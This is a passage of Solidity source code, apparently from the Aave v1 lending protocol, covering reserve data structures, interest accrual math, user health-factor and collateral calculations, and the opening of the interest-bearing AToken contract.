function getLendingRateOracle() public view returns (address) {
return getAddress(LENDING_RATE_ORACLE);
}
function setLendingRateOracle(address _lendingRateOracle) public onlyOwner {
_setAddress(LENDING_RATE_ORACLE, _lendingRateOracle);
emit LendingRateOracleUpdated(_lendingRateOracle);
}
function getTokenDistributor() public view returns (address) {
return getAddress(TOKEN_DISTRIBUTOR);
}
function setTokenDistributor(address _tokenDistributor) public onlyOwner {
_setAddress(TOKEN_DISTRIBUTOR, _tokenDistributor);
emit TokenDistributorUpdated(_tokenDistributor);
}
/**
* @dev internal function to update the implementation of a specific component of the protocol
* @param _id the id of the contract to be updated
* @param _newAddress the address of the new implementation
**/
function updateImplInternal(bytes32 _id, address _newAddress) internal {
address payable proxyAddress = address(uint160(getAddress(_id)));
InitializableAdminUpgradeabilityProxy proxy = InitializableAdminUpgradeabilityProxy(proxyAddress);
bytes memory params = abi.encodeWithSignature("initialize(address)", address(this));
if (proxyAddress == address(0)) {
proxy = new InitializableAdminUpgradeabilityProxy();
proxy.initialize(_newAddress, address(this), params);
_setAddress(_id, address(proxy));
emit ProxyCreated(_id, address(proxy));
} else {
proxy.upgradeToAndCall(_newAddress, params);
}
}
}
contract UintStorage {
mapping(bytes32 => uint256) private uints;
function getUint(bytes32 _key) public view returns (uint256) {
return uints[_key];
}
function _setUint(bytes32 _key, uint256 _value) internal {
uints[_key] = _value;
}
}
/**
* @title LendingPoolParametersProvider
* @author Aave
* @notice stores the configuration parameters of the Lending Pool contract
**/
contract LendingPoolParametersProvider is VersionedInitializable {
uint256 private constant MAX_STABLE_RATE_BORROW_SIZE_PERCENT = 25;
uint256 private constant REBALANCE_DOWN_RATE_DELTA = (1e27)/5;
uint256 private constant FLASHLOAN_FEE_TOTAL = 35;
uint256 private constant FLASHLOAN_FEE_PROTOCOL = 3000;
uint256 constant private DATA_PROVIDER_REVISION = 0x1;
function getRevision() internal pure returns(uint256) {
return DATA_PROVIDER_REVISION;
}
/**
* @dev initializes the LendingPoolParametersProvider after it's added to the proxy
* @param _addressesProvider the address of the LendingPoolAddressesProvider
*/
function initialize(address _addressesProvider) public initializer {
}
/**
* @dev returns the maximum stable rate borrow size, in percentage of the available liquidity.
**/
function getMaxStableRateBorrowSizePercent() external pure returns (uint256) {
return MAX_STABLE_RATE_BORROW_SIZE_PERCENT;
}
/**
* @dev returns the delta between the current stable rate and the user stable rate at
* which the borrow position of the user will be rebalanced (scaled down)
**/
function getRebalanceDownRateDelta() external pure returns (uint256) {
return REBALANCE_DOWN_RATE_DELTA;
}
/**
* @dev returns the fee applied to a flashloan and the portion to redirect to the protocol, in basis points.
**/
function getFlashLoanFeesInBips() external pure returns (uint256, uint256) {
return (FLASHLOAN_FEE_TOTAL, FLASHLOAN_FEE_PROTOCOL);
}
}
/**
* @title CoreLibrary library
* @author Aave
* @notice Defines the data structures of the reserves and the user data
**/
library CoreLibrary {
using SafeMath for uint256;
using WadRayMath for uint256;
enum InterestRateMode {NONE, STABLE, VARIABLE}
uint256 internal constant SECONDS_PER_YEAR = 365 days;
struct UserReserveData {
//principal amount borrowed by the user.
uint256 principalBorrowBalance;
//cumulated variable borrow index for the user. Expressed in ray
uint256 lastVariableBorrowCumulativeIndex;
//origination fee cumulated by the user
uint256 originationFee;
// stable borrow rate at which the user has borrowed. Expressed in ray
uint256 stableBorrowRate;
uint40 lastUpdateTimestamp;
//defines if a specific deposit should or not be used as a collateral in borrows
bool useAsCollateral;
}
struct ReserveData {
/**
* @dev refer to the whitepaper, section 1.1 basic concepts for a formal description of these properties.
**/
//the liquidity index. Expressed in ray
uint256 lastLiquidityCumulativeIndex;
//the current supply rate. Expressed in ray
uint256 currentLiquidityRate;
//the total borrows of the reserve at a stable rate. Expressed in the currency decimals
uint256 totalBorrowsStable;
//the total borrows of the reserve at a variable rate. Expressed in the currency decimals
uint256 totalBorrowsVariable;
//the current variable borrow rate. Expressed in ray
uint256 currentVariableBorrowRate;
//the current stable borrow rate. Expressed in ray
uint256 currentStableBorrowRate;
//the current average stable borrow rate (weighted average of all the different stable rate loans). Expressed in ray
uint256 currentAverageStableBorrowRate;
//variable borrow index. Expressed in ray
uint256 lastVariableBorrowCumulativeIndex;
//the ltv of the reserve. Expressed in percentage (0-100)
uint256 baseLTVasCollateral;
//the liquidation threshold of the reserve. Expressed in percentage (0-100)
uint256 liquidationThreshold;
//the liquidation bonus of the reserve. Expressed in percentage
uint256 liquidationBonus;
//the decimals of the reserve asset
uint256 decimals;
/**
* @dev address of the aToken representing the asset
**/
address aTokenAddress;
/**
* @dev address of the interest rate strategy contract
**/
address interestRateStrategyAddress;
uint40 lastUpdateTimestamp;
// borrowingEnabled = true means users can borrow from this reserve
bool borrowingEnabled;
// usageAsCollateralEnabled = true means users can use this reserve as collateral
bool usageAsCollateralEnabled;
// isStableBorrowRateEnabled = true means users can borrow at a stable rate
bool isStableBorrowRateEnabled;
// isActive = true means the reserve has been activated and properly configured
bool isActive;
// isFreezed = true means the reserve only allows repays and redeems, but not deposits, new borrowings or rate swap
bool isFreezed;
}
/**
* @dev returns the ongoing normalized income for the reserve.
* a value of 1e27 means there is no income. As time passes, the income is accrued.
* A value of 2*1e27 means that the income of the reserve is double the initial amount.
* @param _reserve the reserve object
* @return the normalized income. expressed in ray
**/
function getNormalizedIncome(CoreLibrary.ReserveData storage _reserve)
internal
view
returns (uint256)
{
uint256 cumulated = calculateLinearInterest(
_reserve
.currentLiquidityRate,
_reserve
.lastUpdateTimestamp
)
.rayMul(_reserve.lastLiquidityCumulativeIndex);
return cumulated;
}
/**
* @dev Updates the liquidity cumulative index Ci and variable borrow cumulative index Bvc. Refer to the whitepaper for
* a formal specification.
* @param _self the reserve object
**/
function updateCumulativeIndexes(ReserveData storage _self) internal {
uint256 totalBorrows = getTotalBorrows(_self);
if (totalBorrows > 0) {
//only cumulating if there is any income being produced
uint256 cumulatedLiquidityInterest = calculateLinearInterest(
_self.currentLiquidityRate,
_self.lastUpdateTimestamp
);
_self.lastLiquidityCumulativeIndex = cumulatedLiquidityInterest.rayMul(
_self.lastLiquidityCumulativeIndex
);
uint256 cumulatedVariableBorrowInterest = calculateCompoundedInterest(
_self.currentVariableBorrowRate,
_self.lastUpdateTimestamp
);
_self.lastVariableBorrowCumulativeIndex = cumulatedVariableBorrowInterest.rayMul(
_self.lastVariableBorrowCumulativeIndex
);
}
}
/**
* @dev accumulates a predefined amount of asset to the reserve as a fixed, one time income. Used for example to accumulate
* the flashloan fee to the reserve, and spread it through the depositors.
* @param _self the reserve object
* @param _totalLiquidity the total liquidity available in the reserve
* @param _amount the amount to accomulate
**/
function cumulateToLiquidityIndex(
ReserveData storage _self,
uint256 _totalLiquidity,
uint256 _amount
) internal {
uint256 amountToLiquidityRatio = _amount.wadToRay().rayDiv(_totalLiquidity.wadToRay());
uint256 cumulatedLiquidity = amountToLiquidityRatio.add(WadRayMath.ray());
_self.lastLiquidityCumulativeIndex = cumulatedLiquidity.rayMul(
_self.lastLiquidityCumulativeIndex
);
}
/**
* @dev initializes a reserve
* @param _self the reserve object
* @param _aTokenAddress the address of the overlying atoken contract
* @param _decimals the number of decimals of the underlying asset
* @param _interestRateStrategyAddress the address of the interest rate strategy contract
**/
function init(
ReserveData storage _self,
address _aTokenAddress,
uint256 _decimals,
address _interestRateStrategyAddress
) external {
require(_self.aTokenAddress == address(0), "Reserve has already been initialized");
if (_self.lastLiquidityCumulativeIndex == 0) {
//if the reserve has not been initialized yet
_self.lastLiquidityCumulativeIndex = WadRayMath.ray();
}
if (_self.lastVariableBorrowCumulativeIndex == 0) {
_self.lastVariableBorrowCumulativeIndex = WadRayMath.ray();
}
_self.aTokenAddress = _aTokenAddress;
_self.decimals = _decimals;
_self.interestRateStrategyAddress = _interestRateStrategyAddress;
_self.isActive = true;
_self.isFreezed = false;
}
/**
* @dev enables borrowing on a reserve
* @param _self the reserve object
* @param _stableBorrowRateEnabled true if the stable borrow rate must be enabled by default, false otherwise
**/
function enableBorrowing(ReserveData storage _self, bool _stableBorrowRateEnabled) external {
require(_self.borrowingEnabled == false, "Reserve is already enabled");
_self.borrowingEnabled = true;
_self.isStableBorrowRateEnabled = _stableBorrowRateEnabled;
}
/**
* @dev disables borrowing on a reserve
* @param _self the reserve object
**/
function disableBorrowing(ReserveData storage _self) external {
_self.borrowingEnabled = false;
}
/**
* @dev enables a reserve to be used as collateral
* @param _self the reserve object
* @param _baseLTVasCollateral the loan to value of the asset when used as collateral
* @param _liquidationThreshold the threshold at which loans using this asset as collateral will be considered undercollateralized
* @param _liquidationBonus the bonus liquidators receive to liquidate this asset
**/
function enableAsCollateral(
ReserveData storage _self,
uint256 _baseLTVasCollateral,
uint256 _liquidationThreshold,
uint256 _liquidationBonus
) external {
require(
_self.usageAsCollateralEnabled == false,
"Reserve is already enabled as collateral"
);
_self.usageAsCollateralEnabled = true;
_self.baseLTVasCollateral = _baseLTVasCollateral;
_self.liquidationThreshold = _liquidationThreshold;
_self.liquidationBonus = _liquidationBonus;
if (_self.lastLiquidityCumulativeIndex == 0)
_self.lastLiquidityCumulativeIndex = WadRayMath.ray();
}
/**
* @dev disables a reserve as collateral
* @param _self the reserve object
**/
function disableAsCollateral(ReserveData storage _self) external {
_self.usageAsCollateralEnabled = false;
}
/**
* @dev calculates the compounded borrow balance of a user
* @param _self the userReserve object
* @param _reserve the reserve object
* @return the user compounded borrow balance
**/
function getCompoundedBorrowBalance(
CoreLibrary.UserReserveData storage _self,
CoreLibrary.ReserveData storage _reserve
) internal view returns (uint256) {
if (_self.principalBorrowBalance == 0) return 0;
uint256 principalBorrowBalanceRay = _self.principalBorrowBalance.wadToRay();
uint256 compoundedBalance = 0;
uint256 cumulatedInterest = 0;
if (_self.stableBorrowRate > 0) {
cumulatedInterest = calculateCompoundedInterest(
_self.stableBorrowRate,
_self.lastUpdateTimestamp
);
} else {
//variable interest
cumulatedInterest = calculateCompoundedInterest(
_reserve
.currentVariableBorrowRate,
_reserve
.lastUpdateTimestamp
)
.rayMul(_reserve.lastVariableBorrowCumulativeIndex)
.rayDiv(_self.lastVariableBorrowCumulativeIndex);
}
compoundedBalance = principalBorrowBalanceRay.rayMul(cumulatedInterest).rayToWad();
if (compoundedBalance == _self.principalBorrowBalance) {
//solium-disable-next-line
if (_self.lastUpdateTimestamp != block.timestamp) {
//no interest cumulation because of the rounding - we add 1 wei
//as symbolic cumulated interest to avoid interest free loans.
return _self.principalBorrowBalance.add(1 wei);
}
}
return compoundedBalance;
}
/**
* @dev increases the total borrows at a stable rate on a specific reserve and updates the
* average stable rate consequently
* @param _reserve the reserve object
* @param _amount the amount to add to the total borrows stable
* @param _rate the rate at which the amount has been borrowed
**/
function increaseTotalBorrowsStableAndUpdateAverageRate(
ReserveData storage _reserve,
uint256 _amount,
uint256 _rate
) internal {
uint256 previousTotalBorrowStable = _reserve.totalBorrowsStable;
//updating reserve borrows stable
_reserve.totalBorrowsStable = _reserve.totalBorrowsStable.add(_amount);
//update the average stable rate
//weighted average of all the borrows
uint256 weightedLastBorrow = _amount.wadToRay().rayMul(_rate);
uint256 weightedPreviousTotalBorrows = previousTotalBorrowStable.wadToRay().rayMul(
_reserve.currentAverageStableBorrowRate
);
_reserve.currentAverageStableBorrowRate = weightedLastBorrow
.add(weightedPreviousTotalBorrows)
.rayDiv(_reserve.totalBorrowsStable.wadToRay());
}
/**
* @dev decreases the total borrows at a stable rate on a specific reserve and updates the
* average stable rate consequently
* @param _reserve the reserve object
* @param _amount the amount to substract to the total borrows stable
* @param _rate the rate at which the amount has been repaid
**/
function decreaseTotalBorrowsStableAndUpdateAverageRate(
ReserveData storage _reserve,
uint256 _amount,
uint256 _rate
) internal {
require(_reserve.totalBorrowsStable >= _amount, "Invalid amount to decrease");
uint256 previousTotalBorrowStable = _reserve.totalBorrowsStable;
//updating reserve borrows stable
_reserve.totalBorrowsStable = _reserve.totalBorrowsStable.sub(_amount);
if (_reserve.totalBorrowsStable == 0) {
_reserve.currentAverageStableBorrowRate = 0; //no income if there are no stable rate borrows
return;
}
//update the average stable rate
//weighted average of all the borrows
uint256 weightedLastBorrow = _amount.wadToRay().rayMul(_rate);
uint256 weightedPreviousTotalBorrows = previousTotalBorrowStable.wadToRay().rayMul(
_reserve.currentAverageStableBorrowRate
);
require(
weightedPreviousTotalBorrows >= weightedLastBorrow,
"The amounts to subtract don't match"
);
_reserve.currentAverageStableBorrowRate = weightedPreviousTotalBorrows
.sub(weightedLastBorrow)
.rayDiv(_reserve.totalBorrowsStable.wadToRay());
}
/**
* @dev increases the total borrows at a variable rate
* @param _reserve the reserve object
* @param _amount the amount to add to the total borrows variable
**/
function increaseTotalBorrowsVariable(ReserveData storage _reserve, uint256 _amount) internal {
_reserve.totalBorrowsVariable = _reserve.totalBorrowsVariable.add(_amount);
}
/**
* @dev decreases the total borrows at a variable rate
* @param _reserve the reserve object
* @param _amount the amount to substract to the total borrows variable
**/
function decreaseTotalBorrowsVariable(ReserveData storage _reserve, uint256 _amount) internal {
require(
_reserve.totalBorrowsVariable >= _amount,
"The amount that is being subtracted from the variable total borrows is incorrect"
);
_reserve.totalBorrowsVariable = _reserve.totalBorrowsVariable.sub(_amount);
}
/**
* @dev function to calculate the interest using a linear interest rate formula
* @param _rate the interest rate, in ray
* @param _lastUpdateTimestamp the timestamp of the last update of the interest
* @return the interest rate linearly accumulated during the timeDelta, in ray
**/
function calculateLinearInterest(uint256 _rate, uint40 _lastUpdateTimestamp)
internal
view
returns (uint256)
{
//solium-disable-next-line
uint256 timeDifference = block.timestamp.sub(uint256(_lastUpdateTimestamp));
uint256 timeDelta = timeDifference.wadToRay().rayDiv(SECONDS_PER_YEAR.wadToRay());
return _rate.rayMul(timeDelta).add(WadRayMath.ray());
}
/**
* @dev function to calculate the interest using a compounded interest rate formula
* @param _rate the interest rate, in ray
* @param _lastUpdateTimestamp the timestamp of the last update of the interest
* @return the interest rate compounded during the timeDelta, in ray
**/
function calculateCompoundedInterest(uint256 _rate, uint40 _lastUpdateTimestamp)
internal
view
returns (uint256)
{
//solium-disable-next-line
uint256 timeDifference = block.timestamp.sub(uint256(_lastUpdateTimestamp));
uint256 ratePerSecond = _rate.div(SECONDS_PER_YEAR);
return ratePerSecond.add(WadRayMath.ray()).rayPow(timeDifference);
}
/**
* @dev returns the total borrows on the reserve
* @param _reserve the reserve object
* @return the total borrows (stable + variable)
**/
function getTotalBorrows(CoreLibrary.ReserveData storage _reserve)
internal
view
returns (uint256)
{
return _reserve.totalBorrowsStable.add(_reserve.totalBorrowsVariable);
}
}
/**
* @title IPriceOracleGetter interface
* @notice Interface for the Aave price oracle.
**/
interface IPriceOracleGetter {
/**
* @dev returns the asset price in ETH
* @param _asset the address of the asset
* @return the ETH price of the asset
**/
function getAssetPrice(address _asset) external view returns (uint256);
}
/**
* @title IFeeProvider interface
* @notice Interface for the Aave fee provider.
**/
interface IFeeProvider {
function calculateLoanOriginationFee(address _user, uint256 _amount) external view returns (uint256);
function getLoanOriginationFeePercentage() external view returns (uint256);
}
/**
* @title LendingPoolDataProvider contract
* @author Aave
* @notice Implements functions to fetch data from the core, and aggregate them in order to allow computation
* on the compounded balances and the account balances in ETH
**/
contract LendingPoolDataProvider is VersionedInitializable {
using SafeMath for uint256;
using WadRayMath for uint256;
LendingPoolCore public core;
LendingPoolAddressesProvider public addressesProvider;
/**
* @dev specifies the health factor threshold at which the user position is liquidated.
* 1e18 by default, if the health factor drops below 1e18, the loan can be liquidated.
**/
uint256 public constant HEALTH_FACTOR_LIQUIDATION_THRESHOLD = 1e18;
uint256 public constant DATA_PROVIDER_REVISION = 0x1;
function getRevision() internal pure returns (uint256) {
return DATA_PROVIDER_REVISION;
}
function initialize(LendingPoolAddressesProvider _addressesProvider) public initializer {
addressesProvider = _addressesProvider;
core = LendingPoolCore(_addressesProvider.getLendingPoolCore());
}
/**
* @dev struct to hold calculateUserGlobalData() local computations
**/
struct UserGlobalDataLocalVars {
uint256 reserveUnitPrice;
uint256 tokenUnit;
uint256 compoundedLiquidityBalance;
uint256 compoundedBorrowBalance;
uint256 reserveDecimals;
uint256 baseLtv;
uint256 liquidationThreshold;
uint256 originationFee;
bool usageAsCollateralEnabled;
bool userUsesReserveAsCollateral;
address currentReserve;
}
/**
* @dev calculates the user data across the reserves.
* this includes the total liquidity/collateral/borrow balances in ETH,
* the average Loan To Value, the average Liquidation Ratio, and the Health factor.
* @param _user the address of the user
* @return the total liquidity, total collateral, total borrow balances of the user in ETH.
* also the average Ltv, liquidation threshold, and the health factor
**/
function calculateUserGlobalData(address _user)
public
view
returns (
uint256 totalLiquidityBalanceETH,
uint256 totalCollateralBalanceETH,
uint256 totalBorrowBalanceETH,
uint256 totalFeesETH,
uint256 currentLtv,
uint256 currentLiquidationThreshold,
uint256 healthFactor,
bool healthFactorBelowThreshold
)
{
IPriceOracleGetter oracle = IPriceOracleGetter(addressesProvider.getPriceOracle());
// Usage of a memory struct of vars to avoid "Stack too deep" errors due to local variables
UserGlobalDataLocalVars memory vars;
address[] memory reserves = core.getReserves();
for (uint256 i = 0; i < reserves.length; i++) {
vars.currentReserve = reserves[i];
(
vars.compoundedLiquidityBalance,
vars.compoundedBorrowBalance,
vars.originationFee,
vars.userUsesReserveAsCollateral
) = core.getUserBasicReserveData(vars.currentReserve, _user);
if (vars.compoundedLiquidityBalance == 0 && vars.compoundedBorrowBalance == 0) {
continue;
}
//fetch reserve data
(
vars.reserveDecimals,
vars.baseLtv,
vars.liquidationThreshold,
vars.usageAsCollateralEnabled
) = core.getReserveConfiguration(vars.currentReserve);
vars.tokenUnit = 10 ** vars.reserveDecimals;
vars.reserveUnitPrice = oracle.getAssetPrice(vars.currentReserve);
//liquidity and collateral balance
if (vars.compoundedLiquidityBalance > 0) {
uint256 liquidityBalanceETH = vars
.reserveUnitPrice
.mul(vars.compoundedLiquidityBalance)
.div(vars.tokenUnit);
totalLiquidityBalanceETH = totalLiquidityBalanceETH.add(liquidityBalanceETH);
if (vars.usageAsCollateralEnabled && vars.userUsesReserveAsCollateral) {
totalCollateralBalanceETH = totalCollateralBalanceETH.add(liquidityBalanceETH);
currentLtv = currentLtv.add(liquidityBalanceETH.mul(vars.baseLtv));
currentLiquidationThreshold = currentLiquidationThreshold.add(
liquidityBalanceETH.mul(vars.liquidationThreshold)
);
}
}
if (vars.compoundedBorrowBalance > 0) {
totalBorrowBalanceETH = totalBorrowBalanceETH.add(
vars.reserveUnitPrice.mul(vars.compoundedBorrowBalance).div(vars.tokenUnit)
);
totalFeesETH = totalFeesETH.add(
vars.originationFee.mul(vars.reserveUnitPrice).div(vars.tokenUnit)
);
}
}
currentLtv = totalCollateralBalanceETH > 0 ? currentLtv.div(totalCollateralBalanceETH) : 0;
currentLiquidationThreshold = totalCollateralBalanceETH > 0
? currentLiquidationThreshold.div(totalCollateralBalanceETH)
: 0;
healthFactor = calculateHealthFactorFromBalancesInternal(
totalCollateralBalanceETH,
totalBorrowBalanceETH,
totalFeesETH,
currentLiquidationThreshold
);
healthFactorBelowThreshold = healthFactor < HEALTH_FACTOR_LIQUIDATION_THRESHOLD;
}
struct balanceDecreaseAllowedLocalVars {
uint256 decimals;
uint256 collateralBalanceETH;
uint256 borrowBalanceETH;
uint256 totalFeesETH;
uint256 currentLiquidationThreshold;
uint256 reserveLiquidationThreshold;
uint256 amountToDecreaseETH;
uint256 collateralBalancefterDecrease;
uint256 liquidationThresholdAfterDecrease;
uint256 healthFactorAfterDecrease;
bool reserveUsageAsCollateralEnabled;
}
/**
* @dev check if a specific balance decrease is allowed (i.e. doesn't bring the user borrow position health factor under 1e18)
* @param _reserve the address of the reserve
* @param _user the address of the user
* @param _amount the amount to decrease
* @return true if the decrease of the balance is allowed
**/
function balanceDecreaseAllowed(address _reserve, address _user, uint256 _amount)
external
view
returns (bool)
{
// Usage of a memory struct of vars to avoid "Stack too deep" errors due to local variables
balanceDecreaseAllowedLocalVars memory vars;
(
vars.decimals,
,
vars.reserveLiquidationThreshold,
vars.reserveUsageAsCollateralEnabled
) = core.getReserveConfiguration(_reserve);
if (
!vars.reserveUsageAsCollateralEnabled ||
!core.isUserUseReserveAsCollateralEnabled(_reserve, _user)
) {
return true; //if reserve is not used as collateral, no reasons to block the transfer
}
(
,
vars.collateralBalanceETH,
vars.borrowBalanceETH,
vars.totalFeesETH,
,
vars.currentLiquidationThreshold,
,
) = calculateUserGlobalData(_user);
if (vars.borrowBalanceETH == 0) {
return true; //no borrows - no reasons to block the transfer
}
IPriceOracleGetter oracle = IPriceOracleGetter(addressesProvider.getPriceOracle());
vars.amountToDecreaseETH = oracle.getAssetPrice(_reserve).mul(_amount).div(
10 ** vars.decimals
);
vars.collateralBalancefterDecrease = vars.collateralBalanceETH.sub(
vars.amountToDecreaseETH
);
//if there is a borrow, there can't be 0 collateral
if (vars.collateralBalancefterDecrease == 0) {
return false;
}
vars.liquidationThresholdAfterDecrease = vars
.collateralBalanceETH
.mul(vars.currentLiquidationThreshold)
.sub(vars.amountToDecreaseETH.mul(vars.reserveLiquidationThreshold))
.div(vars.collateralBalancefterDecrease);
uint256 healthFactorAfterDecrease = calculateHealthFactorFromBalancesInternal(
vars.collateralBalancefterDecrease,
vars.borrowBalanceETH,
vars.totalFeesETH,
vars.liquidationThresholdAfterDecrease
);
return healthFactorAfterDecrease > HEALTH_FACTOR_LIQUIDATION_THRESHOLD;
}
/**
* @notice calculates the amount of collateral needed in ETH to cover a new borrow.
* @param _reserve the reserve from which the user wants to borrow
* @param _amount the amount the user wants to borrow
* @param _fee the fee for the amount that the user needs to cover
* @param _userCurrentBorrowBalanceTH the current borrow balance of the user (before the borrow)
* @param _userCurrentLtv the average ltv of the user given his current collateral
* @return the total amount of collateral in ETH to cover the current borrow balance + the new amount + fee
**/
function calculateCollateralNeededInETH(
address _reserve,
uint256 _amount,
uint256 _fee,
uint256 _userCurrentBorrowBalanceTH,
uint256 _userCurrentFeesETH,
uint256 _userCurrentLtv
) external view returns (uint256) {
uint256 reserveDecimals = core.getReserveDecimals(_reserve);
IPriceOracleGetter oracle = IPriceOracleGetter(addressesProvider.getPriceOracle());
uint256 requestedBorrowAmountETH = oracle
.getAssetPrice(_reserve)
.mul(_amount.add(_fee))
.div(10 ** reserveDecimals); //price is in ether
//add the current already borrowed amount to the amount requested to calculate the total collateral needed.
uint256 collateralNeededInETH = _userCurrentBorrowBalanceTH
.add(_userCurrentFeesETH)
.add(requestedBorrowAmountETH)
.mul(100)
.div(_userCurrentLtv); //LTV is calculated in percentage
return collateralNeededInETH;
}
/**
* @dev calculates the equivalent amount in ETH that an user can borrow, depending on the available collateral and the
* average Loan To Value.
* @param collateralBalanceETH the total collateral balance
* @param borrowBalanceETH the total borrow balance
* @param totalFeesETH the total fees
* @param ltv the average loan to value
* @return the amount available to borrow in ETH for the user
**/
function calculateAvailableBorrowsETHInternal(
uint256 collateralBalanceETH,
uint256 borrowBalanceETH,
uint256 totalFeesETH,
uint256 ltv
) internal view returns (uint256) {
uint256 availableBorrowsETH = collateralBalanceETH.mul(ltv).div(100); //ltv is in percentage
if (availableBorrowsETH < borrowBalanceETH) {
return 0;
}
availableBorrowsETH = availableBorrowsETH.sub(borrowBalanceETH.add(totalFeesETH));
//calculate fee
uint256 borrowFee = IFeeProvider(addressesProvider.getFeeProvider())
.calculateLoanOriginationFee(msg.sender, availableBorrowsETH);
return availableBorrowsETH.sub(borrowFee);
}
/**
* @dev calculates the health factor from the corresponding balances
* @param collateralBalanceETH the total collateral balance in ETH
* @param borrowBalanceETH the total borrow balance in ETH
* @param totalFeesETH the total fees in ETH
* @param liquidationThreshold the avg liquidation threshold
**/
function calculateHealthFactorFromBalancesInternal(
uint256 collateralBalanceETH,
uint256 borrowBalanceETH,
uint256 totalFeesETH,
uint256 liquidationThreshold
) internal pure returns (uint256) {
if (borrowBalanceETH == 0) return uint256(-1);
return
(collateralBalanceETH.mul(liquidationThreshold).div(100)).wadDiv(
borrowBalanceETH.add(totalFeesETH)
);
}
/**
* @dev returns the health factor liquidation threshold
**/
function getHealthFactorLiquidationThreshold() public pure returns (uint256) {
return HEALTH_FACTOR_LIQUIDATION_THRESHOLD;
}
/**
* @dev accessory functions to fetch data from the lendingPoolCore
**/
function getReserveConfigurationData(address _reserve)
external
view
returns (
uint256 ltv,
uint256 liquidationThreshold,
uint256 liquidationBonus,
address rateStrategyAddress,
bool usageAsCollateralEnabled,
bool borrowingEnabled,
bool stableBorrowRateEnabled,
bool isActive
)
{
(, ltv, liquidationThreshold, usageAsCollateralEnabled) = core.getReserveConfiguration(
_reserve
);
stableBorrowRateEnabled = core.getReserveIsStableBorrowRateEnabled(_reserve);
borrowingEnabled = core.isReserveBorrowingEnabled(_reserve);
isActive = core.getReserveIsActive(_reserve);
liquidationBonus = core.getReserveLiquidationBonus(_reserve);
rateStrategyAddress = core.getReserveInterestRateStrategyAddress(_reserve);
}
function getReserveData(address _reserve)
external
view
returns (
uint256 totalLiquidity,
uint256 availableLiquidity,
uint256 totalBorrowsStable,
uint256 totalBorrowsVariable,
uint256 liquidityRate,
uint256 variableBorrowRate,
uint256 stableBorrowRate,
uint256 averageStableBorrowRate,
uint256 utilizationRate,
uint256 liquidityIndex,
uint256 variableBorrowIndex,
address aTokenAddress,
uint40 lastUpdateTimestamp
)
{
totalLiquidity = core.getReserveTotalLiquidity(_reserve);
availableLiquidity = core.getReserveAvailableLiquidity(_reserve);
totalBorrowsStable = core.getReserveTotalBorrowsStable(_reserve);
totalBorrowsVariable = core.getReserveTotalBorrowsVariable(_reserve);
liquidityRate = core.getReserveCurrentLiquidityRate(_reserve);
variableBorrowRate = core.getReserveCurrentVariableBorrowRate(_reserve);
stableBorrowRate = core.getReserveCurrentStableBorrowRate(_reserve);
averageStableBorrowRate = core.getReserveCurrentAverageStableBorrowRate(_reserve);
utilizationRate = core.getReserveUtilizationRate(_reserve);
liquidityIndex = core.getReserveLiquidityCumulativeIndex(_reserve);
variableBorrowIndex = core.getReserveVariableBorrowsCumulativeIndex(_reserve);
aTokenAddress = core.getReserveATokenAddress(_reserve);
lastUpdateTimestamp = core.getReserveLastUpdate(_reserve);
}
function getUserAccountData(address _user)
external
view
returns (
uint256 totalLiquidityETH,
uint256 totalCollateralETH,
uint256 totalBorrowsETH,
uint256 totalFeesETH,
uint256 availableBorrowsETH,
uint256 currentLiquidationThreshold,
uint256 ltv,
uint256 healthFactor
)
{
(
totalLiquidityETH,
totalCollateralETH,
totalBorrowsETH,
totalFeesETH,
ltv,
currentLiquidationThreshold,
healthFactor,
) = calculateUserGlobalData(_user);
availableBorrowsETH = calculateAvailableBorrowsETHInternal(
totalCollateralETH,
totalBorrowsETH,
totalFeesETH,
ltv
);
}
function getUserReserveData(address _reserve, address _user)
external
view
returns (
uint256 currentATokenBalance,
uint256 currentBorrowBalance,
uint256 principalBorrowBalance,
uint256 borrowRateMode,
uint256 borrowRate,
uint256 liquidityRate,
uint256 originationFee,
uint256 variableBorrowIndex,
uint256 lastUpdateTimestamp,
bool usageAsCollateralEnabled
)
{
currentATokenBalance = AToken(core.getReserveATokenAddress(_reserve)).balanceOf(_user);
CoreLibrary.InterestRateMode mode = core.getUserCurrentBorrowRateMode(_reserve, _user);
(principalBorrowBalance, currentBorrowBalance, ) = core.getUserBorrowBalances(
_reserve,
_user
);
//default is 0, if mode == CoreLibrary.InterestRateMode.NONE
if (mode == CoreLibrary.InterestRateMode.STABLE) {
borrowRate = core.getUserCurrentStableBorrowRate(_reserve, _user);
} else if (mode == CoreLibrary.InterestRateMode.VARIABLE) {
borrowRate = core.getReserveCurrentVariableBorrowRate(_reserve);
}
borrowRateMode = uint256(mode);
liquidityRate = core.getReserveCurrentLiquidityRate(_reserve);
originationFee = core.getUserOriginationFee(_reserve, _user);
variableBorrowIndex = core.getUserVariableBorrowCumulativeIndex(_reserve, _user);
lastUpdateTimestamp = core.getUserLastUpdate(_reserve, _user);
usageAsCollateralEnabled = core.isUserUseReserveAsCollateralEnabled(_reserve, _user);
}
}
/**
* @title Aave ERC20 AToken
*
* @dev Implementation of the interest bearing token for the DLP protocol.
* @author Aave
*/
contract AToken is ERC20, ERC20Detailed {
using WadRayMath for uint256;
uint256 public constant UINT_MAX_VALUE = uint256(-1);
/**
* @dev emitted after the redeem action
* @param _from the address performing the redeem
* @param _value the amount to be redeemed
* @param _fromBalanceIncrease the cumulated balance since the last update of the user
* @param _fromIndex the last index of the user
**/
event Redeem(
address indexed _from,
uint256 _value,
uint256 _fromBalanceIncrease,
uint256 _fromIndex
);
/**
* @dev emitted after the mint action
* @param _from the address performing the mint
* @param _value the amount to be minted
* @param _fromBalanceIncrease the cumulated balance since the last update of the user
* @param _fromIndex the last index of the user
**/
event MintOnDeposit(
address indexed _from,
uint256 _value,
uint256 _fromBalanceIncrease,
uint256 _fromIndex
);
/**
* @dev emitted during the liquidation action, when the liquidator reclaims the underlying
* asset
* @param _from the address from which the tokens are being burned
* @param _value the amount to be burned
* @param _fromBalanceIncrease the cumulated balance since the last update of the user
* @param _fromIndex the last index of the user
**/
event BurnOnLiquidation(
address indexed _from,
uint256 _value,
uint256 _fromBalanceIncrease,
uint256 _fromIndex
);
/**
* @dev emitted during the transfer action
* @param _from the address from which the tokens are being transferred
* @param _to the adress of the destination
* @param _value the amount to be minted
* @param _fromBalanceIncrease the cumulated balance since the last update of the user
* @param _toBalanceIncrease the cumulated balance since the last update of the destination
* @param _fromIndex the last index of the user
* @param _toIndex the last index of the liquidator
**/
event BalanceTransfer(
address indexed _from,
address indexed _to,
uint256 _value,
uint256 _fromBalanceIncrease,
uint256 _toBalanceIncrease,
uint256 _fromIndex,
uint256 _toIndex
);
/**
* @dev emitted when the accumulation of the interest
* by an user is redirected to another user
